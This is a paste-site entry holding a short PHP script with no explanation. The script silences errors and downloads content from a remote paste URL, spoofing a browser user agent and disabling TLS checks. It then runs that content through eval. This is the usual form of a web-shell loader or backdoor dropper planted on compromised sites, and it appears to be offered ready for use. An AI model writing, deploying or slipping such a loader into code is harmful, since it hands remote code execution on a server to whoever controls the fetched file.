Untitled


SUBMITTED BY: Guest

DATE: Oct. 13, 2024, 10:56 p.m.

FORMAT: Text only

SIZE: 1.2 kB

HITS: 129

  1. <?php
  2. session_start();
  3. error_reporting(0);
  4. function geturlsinfo ($url) {
  5. if (function_exists('curl_exec')){
  6. $conn = curl_init($url);
  7. curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1);
  8. curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 1);
  9. curl_setopt($conn, CURLOPT_USERAGENT, "Mozilla/5.0(Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  10. curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, 0);
  11. curl_setopt($conn, CURLOPT_SSL_VERIFYHOST, 0);
  12. curl_setopt($conn, CURLOPT_COOKIEJAR,$GLOBALS['coki']);
  13. curl_setopt($conn, CURLOPT_COOKIEFILE,$GLOBALS['coki']);
  14. $url_get_contents_data = (curl_exec($conn));
  15. curl_close($conn);
  16. }elseif(function_exists('file_get_contents')){
  17. $url_get_contents_data = file_get_contents($url);
  18. }elseif(function_exists('fopen') && function_exists('stream_get_contents')){
  19. $handle = fopen ($url, "r");
  20. $url_get_contents_data = stream_get_contents($handle);
  21. }else{
  22. $url_get_contents_data = false;
  23. }
  24. return $url_get_contents_data;
  25. }
  26. $a = geturlsinfo('https://bitbin.it/Vmbrb94o/raw/');
  27. eval ('?>'.$a);

comments powered by Disqus